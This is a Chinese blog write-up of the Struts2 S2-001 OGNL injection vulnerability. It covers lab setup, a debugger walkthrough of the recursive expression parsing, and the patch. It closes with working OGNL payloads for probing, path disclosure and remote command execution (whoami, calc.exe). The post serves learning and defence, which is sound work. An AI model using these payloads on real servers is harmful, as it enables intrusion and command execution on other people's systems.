前言
学习一下S2漏洞的利用,参考其他师傅的文章
新版IDEA配置Struts 2
https://ho1aas.blog.csdn.net/article/details/126035484
漏洞简介
Struts2使用opensymphony.xwork 2.0.3组件解析OGNL,该组件导致OGNL注入漏洞,发送表单时内容会引发OGNL注入
影响范围
Struts 2 ≤ 2.0.8
xwork ≤ 2.0.3
漏洞复现
8u111 + Struts 2.0.8
环境配置
写一个action接受参数str
import com.opensymphony.xwork2.ActionSupport;
public class InputAction extends ActionSupport {
private String str;
public String getStr() {
return str;
}
public void setStr(String str) {
this.str = str;
}
public String execute(){
return "success";
}
}
写一个index.jsp发送表单,参数为str
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Index</title>
</head>
<body>
This is the Index page.
<s:form action="input">
<s:textfield name="str" label="Input OGNL: " />
<s:submit></s:submit>
</s:form>
</body>
</html>
在struts.xml配置action
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="input" class="InputAction" method="execute">
<result name="success">index.jsp</result>
</action>
</package>
</struts>
复现操作
index.jsp发送包含OGNL的字符串即可
Struts 2 请求周期
代码审计
在struts-default.xml可以看到参数拦截器,s2用它来处理请求参数
工作流程是从拦截器链的doIntercept()开始,调用setParameters方法把变量压入参数栈
先不打断点开启debug,发送表单的时候再打断点,确保param和action是正确的
setParameters中,首先把参数全存到TreeMap,然后进入永真循环
然后获取参数的键值,调用参数栈的setValue入栈键值
setParameters总而言之就是把参数压入参数栈,之后就来到下一步
这一步进入了我们编写的action,然后根据结果进入了if判断,调用executeResult处理结果
进入execute
在conditionalParse进行处理
然后就来到了参数解析的环节,我们直接看处理参数%{str}
,原来表单的参数str也是一个OGNL表达式
第一个循环:从表单参数%{str}获取str,在栈里面查传参的值,结果是我们注入的OGNL,赋值给o
然后OGNL又被赋值给expression,进行二次解析
语法正确,进行第二轮OGNL解析
这里循环是递归的,因此就会造成OGNL注入
补丁修复分析
新加入解析次数判定,默认最大解析次数是1
利用
// 判断存在
%{2+3}
// tomcat path
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// web path
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// RCE
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
// 无回显RCE
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
参考
https://www.cnblogs.com/twosmi1e/p/14020361.html
https://cwiki.apache.org/confluence/display/WW/S2-001
https://su18.org/post/struts2-1/#s2-001
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126050098
版权声明:本文为原创,转载时须注明出处及本声明